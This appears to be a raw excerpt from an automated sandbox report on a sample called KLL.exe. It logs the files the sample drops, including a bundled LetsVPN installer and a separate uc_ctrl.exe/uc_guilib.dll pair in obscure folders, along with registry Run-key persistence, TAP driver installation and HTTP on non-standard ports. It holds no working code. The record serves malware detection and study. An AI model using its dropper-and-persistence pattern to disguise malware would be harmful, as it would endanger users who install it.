            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.TextWriterTraceListener.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NameResolution.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Resources.ResourceManager.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Data.OleDb.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.Overlapped.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.core.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsVPNInfraStructure.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Pdb.dllJump to dropped file
            Source: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeFile created: C:\Users\user\AppData\Local\Temp\{75862a73-1ffc-e046-aa64-8e0734b1eb0a}\SET523B.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.Requests.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-CN\LetsPRO.resources.dllJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54CB.tmpJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\driver\tapinstall.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Text.Encoding.CodePages.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Mono.Cecil.Mdb.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLite-net.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SharpCompress.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.NetworkInformation.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ComponentModel.TypeConverter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\FontAwesome.WPF.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Configuration.ConfigurationManager.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.PerformanceCounter.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\driver\tap0901.sysJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Numerics.Vectors.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.ServiceModel.Http.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Collections.NonGeneric.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Tools.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-Hant\System.Web.Services.Description.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.Client.dllJump to dropped file
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeFile created: C:\Users\user\Videos\95135908~m7\uc_guilib.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SQLitePCLRaw.provider.dynamic_cdecl.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Threading.ThreadPool.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Diagnostics.Debug.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Principal.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-HK\LetsPRO.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Dynamic.Runtime.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Claims.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Expression.Interactions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Algorithms.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\DeltaCompressionDotNet.PatchApi.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\zh-MO\LetsPRO.resources.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Primitives.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Management.Automation.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.Serialization.Formatters.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\Microsoft.Web.WebView2.Core.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\MdXaml.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Reflection.Extensions.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Security.Cryptography.Xml.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\SuperSocket.ClientEngine.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.IO.Pipes.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Runtime.InteropServices.dllJump to dropped file
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Program Files (x86)\letsvpn\app-3.7.0\System.Net.WebSockets.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\msvcp140.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\vcruntime140.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\sJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\letsvpn-latest.exeJump to dropped file
            Source: C:\Windows\System32\cmd.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\uc_guilib.dllJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\tap0901.sys (copy)Jump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\SET54CB.tmpJump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\DriverStore\Temp\{3e004a96-c4f8-974d-9318-ff1bf1d594fd}\tap0901.sys (copy)Jump to dropped file
            Source: C:\Windows\System32\drvinst.exeFile created: C:\Windows\System32\drivers\SET5AF3.tmpJump to dropped file
            Source: C:\Users\user\Desktop\KLL.exeFile created: C:\ProgramData\s2XlA\7R1b9~m7\sJump to dropped file
            Source: C:\Windows\System32\drvinst.exeRegistry key created: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\tap0901
            Source: C:\Windows\System32\svchost.exeRegistry key value modified: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Linkage
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\LetsVPN.lnk
            Source: C:\ProgramData\letsvpn-latest.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\letsvpn\Uninstall.lnk
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeRegistry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run LetsPRO

            Hooking and other Techniques for Hiding and Protection

            barindex
            Loading BitLocker PowerShell Module
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeFile opened: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1
            Uses known network protocols on non-standard ports
            Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 15628
            Source: unknownNetwork traffic detected: HTTP traffic on port 15628 -> 49735
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeCode function: 17_2_6CF9B15E IsIconic,17_2_6CF9B15E
            Source: C:\Users\user\Desktop\KLL.exeCode function: 0_2_0000000180010D40 EncodePointer,GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,0_2_0000000180010D40
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeRegistry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot
            Source: C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exeKey value created or modified: HKEY_CURRENT_USER\SOFTWARE\Lets userHabit
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Users\user\Desktop\KLL.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\netsh.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\cmd.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\mmc.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\cmd.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\ProgramData\letsvpn-latest.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\ProgramData\letsvpn-latest.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\ProgramData\letsvpn-latest.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
            Source: C:\Windows\System32\conhost.exeProcess information set: NOOPENFILEERRORBOX
